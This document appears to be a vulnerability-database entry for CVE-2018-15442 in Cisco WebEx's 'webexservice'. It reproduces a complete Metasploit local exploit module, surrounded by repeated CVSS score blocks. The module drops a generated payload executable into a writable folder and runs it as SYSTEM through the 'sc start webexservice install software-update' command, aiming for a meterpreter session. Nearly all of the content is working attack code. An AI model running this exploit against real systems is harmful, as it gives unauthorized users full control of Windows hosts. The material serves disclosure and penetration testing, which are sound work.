CVSS2
Attack Vector
LOCAL
Attack Complexity
LOW
Authentication
NONE
Confidentiality Impact
COMPLETE
Integrity Impact
COMPLETE
Availability Impact
COMPLETE
AV:L/AC:L/Au:N/C:C/I:C/A:C
CVSS3
Attack Vector
LOCAL
Attack Complexity
LOW
Privileges Required
LOW
User Interaction
NONE
Scope
UNCHANGED
Confidentiality Impact
HIGH
Integrity Impact
HIGH
Availability Impact
HIGH
CVSS:3.0/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
AI Score
Confidence
High
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Local
Rank = GoodRanking
include Msf::Exploit::EXE
include Msf::Exploit::FileDropper
include Msf::Post::File
include Msf::Post::Windows::Priv
include Msf::Post::Windows::Services
include Msf::Post::Windows::Accounts
def initialize(info={})
super( update_info( info,
'Name' => 'WebEx Local Service Permissions Exploit',
'Description' => %q{
This module exploits a flaw in the 'webexservice' Windows service, which runs as SYSTEM,
can be used to run arbitrary commands locally, and can be started by limited users in
default installations.
},
'References' =>
[
['URL', 'https://webexec.org'],
['CVE', '2018-15442']
],
'DisclosureDate' => "Oct 09 2018",
'License' => MSF_LICENSE,
'Author' =>
[
'Jeff McJunkin <jeff.mcjunkin[at]gmail.com>'
],
'Platform' => [ 'win'],
'Targets' =>
[
[ 'Automatic', {} ],
[ 'Windows x86', { 'Arch' => ARCH_X86 } ],
[ 'Windows x64', { 'Arch' => ARCH_X64 } ]
],
'SessionTypes' => [ "meterpreter" ],
'DefaultOptions' =>
{
'EXITFUNC' => 'thread',
'WfsDelay' => 5,
'ReverseConnectRetries' => 255
},
'DefaultTarget' => 0
))
register_options([
OptString.new("DIR", [ false, "Specify a directory to plant the EXE.", "%SystemRoot%\\Temp"])
])
@service_name = 'webexservice'
end
def validate_arch
return target unless target.name == 'Automatic'
case sysinfo['Architecture']
when 'x86'
fail_with(Failure::BadConfig, 'Invalid payload architecture') if payload_instance.arch.first == 'x64'
vprint_status('Detected x86 system')
return targets[1]
when 'x64'
vprint_status('Detected x64 system')
return targets[2]
end
end
def check_service_exists?(service)
srv_info = service_info(service)
if srv_info.nil?
vprint_warning("Unable to enumerate services.")
return false
end
if srv_info && srv_info[:display].empty?
vprint_warning("Service #{service} does not exist.")
return false
else
return true
end
end
def check
unless check_service_exists?(@service_name)
return Exploit::CheckCode::Safe
end
srv_info = service_info(@service_name)
vprint_status(srv_info.to_s)
case START_TYPE[srv_info[:starttype]]
when 'Disabled'
vprint_error("Service startup is Disabled, so will be unable to exploit unless account has correct permissions...")
return Exploit::CheckCode::Safe
when 'Manual'
vprint_error("Service startup is Manual, so will be unable to exploit unless account has correct permissions...")
return Exploit::CheckCode::Safe
when 'Auto'
vprint_good("Service is set to Automatically start...")
end
if check_search_path
return Exploit::CheckCode::Safe
end
return Exploit::CheckCode::Appears
end
def check_write_access(path)
perm = check_dir_perms(path, @token)
if perm and perm.include?('W')
print_good("Write permissions in #{path} - #{perm}")
return true
elsif perm
vprint_status ("Permissions for #{path} - #{perm}")
else
vprint_status ("No permissions for #{path}")
end
return false
end
def exploit
begin
@token = get_imperstoken
rescue Rex::Post::Meterpreter::RequestError
vprint_error("Error while using get_imperstoken: #{e}")
end
fail_with(Failure::Unknown, "Unable to retrieve token.") unless @token
if is_system?
fail_with(Failure::Unknown, "Current user is already SYSTEM, aborting.")
end
print_status("Checking service exists...")
if !check_service_exists?(@service_name)
fail_with(Failure::NoTarget, "The service doesn't exist.")
end
if is_uac_enabled?
print_warning("UAC is enabled, may get false negatives on writable folders.")
end
# Use manually selected Dir
file_path = datastore['DIR']
@exe_file_name = Rex::Text.rand_text_alphanumeric(8)
@exe_file_path = "#{file_path}\\#{@exe_file_name}.exe"
service_information = service_info(@service_name)
# Check architecture
valid_arch = validate_arch
exe = generate_payload_exe(:arch => valid_arch.arch)
#
# Drop the malicious executable into the path
#
print_status("Writing #{exe.length.to_s} bytes to #{@exe_file_path}...")
begin
write_file(@exe_file_path, exe)
register_file_for_cleanup(@exe_file_path)
rescue Rex::Post::Meterpreter::RequestError => e
# Can't write the file, can't go on
fail_with(Failure::Unknown, e.message)
end
#
# Run the service
#
print_status("Launching service...")
res = cmd_exec("cmd.exe",
"/c sc start webexservice install software-update 1 #{@exe_file_path}")
if service_restart(@service_name)
print_status("Service started...")
else
service_information = service_info(@service_name)
if service_information[:starttype] == START_TYPE_AUTO
if job_id
print_status("Unable to start service, handler running waiting for a reboot...")
while(true)
break if session_created?
select(nil,nil,nil,1)
end
else
fail_with(Failure::Unknown, "Unable to start service, use exploit -j to run as a background job and wait for a reboot...")
end
else
fail_with(Failure::Unknown, "Unable to start service, and it does not auto start, cleaning up...")
end
end
end
end
CVSS2
Attack Vector
LOCAL
Attack Complexity
LOW
Authentication
NONE
Confidentiality Impact
COMPLETE
Integrity Impact
COMPLETE
Availability Impact
COMPLETE
AV:L/AC:L/Au:N/C:C/I:C/A:C
CVSS3
Attack Vector
LOCAL
Attack Complexity
LOW
Privileges Required
LOW
User Interaction
NONE
Scope
UNCHANGED
Confidentiality Impact
HIGH
Integrity Impact
HIGH
Availability Impact
HIGH
CVSS:3.0/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
AI Score
Confidence
High